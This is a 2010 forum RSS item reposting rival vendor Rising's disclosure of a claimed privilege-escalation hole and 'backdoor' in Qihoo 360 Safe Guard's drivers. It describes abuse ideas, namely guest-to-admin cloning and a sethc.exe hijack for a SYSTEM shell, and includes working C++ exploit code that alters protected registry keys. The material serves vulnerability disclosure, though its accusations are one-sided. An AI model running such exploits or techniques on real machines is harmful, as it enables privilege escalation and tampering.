<?xml version="1.0" encoding="gbk"?> <rss version="2.0"><channel> <title>定阅帖子更新-BBS.OKHY.COM</title> <link>http://bbs.okhy.com/XML.ASP</link><description>海盐论坛 - 海盐论坛</description> <copyright>TEAM 1.0.1</copyright><generator>OKHY.COM BBS</generator> <item><link>http://bbs.okhy.com/Showpost.asp?id=15429 </link><title><![CDATA[瑞星近日爆360的本地提权漏洞，原理及演示程序]]></title><author>APOLLO</author><pubDate>2010-2-4 16:30:58</pubDate><description><![CDATA[<P>近日，360产品陆续出现严重缺陷：2月1日360安全卫士被爆存在“本地提权”漏洞，截止到2月3日11 时，其产品并未修复，而官方宣称已修复（见 360 的官方报道 <A href="http://bbs.360.cn/3229787/34800737.html?recommend=1">http://bbs.360.cn/3229787/34800737.html?recommend=1</A>）。随后奇虎360安全卫士又被曝出给用户电脑安装“后门”，任意读取用户隐私文件。问题暴露后，奇虎360不但没有承认自身问题，反而通过删除网络新闻、个人博客、威胁媒体、枪手发帖等手段欺骗用户，掩盖事实真相、混淆视听。瑞星公司本着对所有360用户安全负责的态度，现公布360 “后门”部分技术细节，请奇虎360尽快停止安装“后门”，停止侵害用户权益的行为。 </P><P>　　请奇虎 360 公司以严谨的态度尽快面对以下问题。第一：请对 360 安全卫士存在的“后门”进行解释；第二：对 2 月 1 日公布的 360 安全卫士“本地提权”漏洞仍未修复，却在官方宣布已经修复的问题做出解释；第三：请尽快对以上两大严重产品缺陷进行修复。 </P><P>　　360 安全卫士“后门”细节分析 </P><P>　　360 安全卫士后门程序涉及的主要文件是：在安装进入系统时自带的驱动文件 bregdrv.sys 、 bfsdrv.sys ，以及对这两个驱动文件调用的动态链接库 bregdll.dll 、 bfsdll.dll 。 </P><P>　　bregdrv.sys ： 360 内核模式驱动，该驱动程序通过调用操作系统的未公开 CmXxx 系列函数来操作注册表，另外由于操作系统内部本身维护了很多同步数据、缓存数据， 直接调用 CmXxx 系列函数操作注册表极有可能造成系统内部数据不同步，严重影响系统安全性，甚至可能导致用户正常数据丢失； </P><P>　　bregdll.dll ：用户态动态库，该动态库封装了对 bregdrv.sys 的调用，为用户态程序提供注册表操作后门的接口；该动态库仿照 Windows 操作系统 API 接口（加 B 作为前缀）导出了如下注册表操作函数， 但与 Windows API 不同的是， bregdll.dll 导出的函数在实现上绕过了操作系统的所有安全检查，直接调用极为低层的未公开 CmXxx 系列函数实现 ： </P><P>　　1.BRegCloseKey 2.BRegCreateKey 3.BRegCreateKeyEx 4.BRegCreateKeyExW </P><P>　　5.BRegCreateKeyW 6.BRegDeleteKey 7.BRegDeleteKeyW 8.BRegDeleteValue </P><P>　　9.BRegDeleteValueW 10.BRegEnumKey 11.BRegEnumKeyEx 12.BRegEnumKeyExW </P><P>　　13.BRegEnumKeyW 14.BRegEnumValue 15.BRegEnumValueW 16.BRegOpenKey </P><P>　　17.BRegOpenKeyEx 18.BRegOpenKeyExW 19.BRegOpenKeyW 20.BRegQueryValueEx </P><P>　　21.BRegQueryValueExW 22.BRegSetValueEx 23.BRegSetValueExW </P><P>　　360 后门部分功能代码截图一</P><P>&nbsp;</P><P>　　通过 CmDeleteKey 实现注册表键值的删除操作 </P><P>　　bfsdrv.sys ，该驱动程序通过直接向文件系统发送 I/O 请求包（ IRP ）来实现文件操作，这种方式可以绕过基于过滤驱动的文件监控（包括卡巴斯基、诺顿等安全软件）。 由于该程序没有对调用者进行检查，导致可以被任意程序（如各种木马程序等）利用达到修改、删除用户正常文件的目的。 </P><P>　　bfsdll.dll ：用户态动态库，该动态库封装了对 bfsdrv.sys 的调用，为用户态程序提供文件操作后门的接口；该动态库仿照 Windows 操作系统 API 接口（加 FS 或 Bfs 作为前缀）导出了如下文件操作函数， 但与 Windows API 不同的是， bfsdll.dll 导出的函数在实现上绕过了所有文件系统上层的过滤驱动，直接向文件系统发送 I/O 请求包实现 ： </P><P>　　1.BfsMoveFileExW 2.FSCloseHandle 3.FSCopyFile 4.FSCopyFileW </P><P>　　5.FSCreateFile 6.FSCreateFileW 7.FSDeleteFile 8.FSDeleteFileW </P><P>　　9.FSFindClose 10.FSFindFirstFile 11.FSFindFirstFileW 12.FSFindNextFile </P><P>　　13.FSFindNextFileW 14.FSGetFileAttributes 15.FSGetFileAttributesEx </P><P>　　16.FSGetFileAttributesExW 17.FSGetFileAttributesW 18.FSGetFileSize </P><P>　　19.FSGetFileSizeEx 20.FSGetLongPathName 21.FSGetLongPathNameW </P><P>　　22.FSGetShortPathName 23.FSGetShortPathNameW 24.FSPathFileExists </P><P>　　25.FSPathFileExistsW 26.FSPathIsDirectory 27.FSPathIsDirectoryW </P><P>　　28.FSReadFile 29.FSSearchPath 30.FSSearchPathW 31.FSSetFileAttributes </P><P>　　32.FSSetFileAttributesW 33.FSSetFilePointer 34.FSSetFilePointerEx 35.FSWriteFile </P><P>　　上述 API 均通过 DeviceIoControl/NtDeviceIoControlFile 来调用驱动提供的不同文件操作功能，这些操作均会绕过基于过滤驱动的文件监控。 </P><P>　　360 后门部分功能代码截图二 </P><P>&nbsp;</P><P>bfsdrv.sys 写文件操作代码截图 </P><P>　　360 安全卫士没有遵循正常的操作系统安全机制，却直接绕开了系统安全检查机制。其不仅具有“后门”功能，而且该程序存在重大安全隐患，利用此程序不需要任何身份认证，可轻易被黑客利用窥视用户隐私、读取、修改或删除用户电脑中的所有文件和注册表信息。 </P><P>　　例如，任意普通用户可以在低权限的情况下实现删除系统安装的安全软件，隐藏自己的恶意程序。而通过 bregdrv.sys 对注册表的操作，可以利用其在系统底层任意操作注册表的权限，达到更多的目的，如： </P><P>　　l 通过修改注册表存储的用户信息，将 guest 用户激活并克隆成管理员，但是在系统表面看来， guest 用户仍然是被禁用的。 </P><P>　　通过修改注册表实现映像劫持，将 sethc.exe （系统粘滞键功能）替换成 cmd.exe ，这样就可以实现在登录界面上按 5 下 shift 键直接呼出一个系统权限的 cmdshell 窗口，执行任意指令。</P><P>&nbsp;</P><P>&nbsp;</P><P>&nbsp;</P><P>&nbsp;</P><P>&nbsp;</P><P><BR>奇虎360安全卫士存在本地提权漏洞后门利用程序(C++)<BR>复制内容到剪贴板代码:</P><P>#include &lt;windows.h&gt;</P><P>typedef BOOL (WINAPI *INIT_REG_ENGINE)();<BR>typedef LONG (WINAPI *BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey);<BR>typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);<BR>typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);<BR>typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);</P><P><BR>BREG_DELETE_KEY BRegDeleteKey = NULL;<BR>BREG_OPEN_KEY BRegOpenKey = NULL;<BR>BREG_CLOSE_KEY BRegCloseKey = NULL;<BR>REG_SET_VALUE_EX BRegSetValueEx = NULL;</P><P><BR>#define AppPath&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Software&#92;&#92;Microsoft&#92;&#92;Windows&#92;&#92;CurrentVersion&#92;&#92;App Paths&#92;&#92;360safe.exe"</P><P><BR>#define TestDeleteKey&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HKEY_LOCAL_MACHINE<BR>#define TestDeleteRegPath&nbsp;&nbsp;&nbsp; "Software&#92;&#92;360Safe&#92;&#92;Update"</P><P><BR>#define TestSetKey&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HKEY_LOCAL_MACHINE<BR>#define TestSetPath&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Software&#92;&#92;360Safe"</P><P><BR>BOOL InitBRegDll()<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LONG lResult;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HKEY hKey;</P><P><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CHAR cPath[MAX_PATH + 32] = { 0 };<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD dwPathLen = MAX_PATH;</P><P><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &amp;hKey);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(lResult))<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return FALSE;</P><P><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD dwType = REG_SZ;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lResult = RegQueryValueExA(hKey, "Path", NULL, &amp;dwType, (LPBYTE)cPath, &amp;dwPathLen);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RegCloseKey(hKey);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(lResult))<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return FALSE;</P><P><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcat(cPath, "<A href="file://&#92;&#92;deepscan&#92;&#92;BREGDLL.dll">&#92;&#92;deepscan&#92;&#92;BREGDLL.dll</A>");</P><P><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HMODULE modBReg = LoadLibraryA(cPath);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!modBReg)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return FALSE;</P><P><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, "BRegDeleteKey");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");</P><P><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FreeLibrary(modBReg);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return FALSE;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</P><P><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!InitRegEngine()) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FreeLibrary(modBReg);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return FALSE;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</P><P><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return TRUE;<BR>}</P><P><BR>LONG TestSetRegKey()<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HKEY hKey;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LONG lResult;</P><P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lResult = BRegOpenKey(TestSetKey, TestSetPath, &amp;hKey);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(lResult))<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return lResult;</P><P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD dwType = REG_SZ;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; static char szData[] = "TEST VALUE";<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&amp;szData, (DWORD)sizeof(szData));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BRegCloseKey(hKey);</P><P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return lResult;<BR>}</P><P>int main(int argc, char *argv[])<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!InitBRegDll()) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MessageBoxA(NULL, "初始化BReg失败!", "失败", MB_ICONSTOP);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 1;</P><P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MessageBoxA(NULL, "键值删除失败!", "失败", MB_ICONSTOP);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 2;</P><P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</P><P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(TestSetRegKey())) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MessageBoxA(NULL, "设置键值失败!", "失败", MB_ICONSTOP);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 3;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</P><P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MessageBoxA(NULL, "突破系统安全检查，获得最高权限，漏洞利用成功!", "成功", MB_OK);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<BR>}<BR></P>]]></description></item></channel></rss>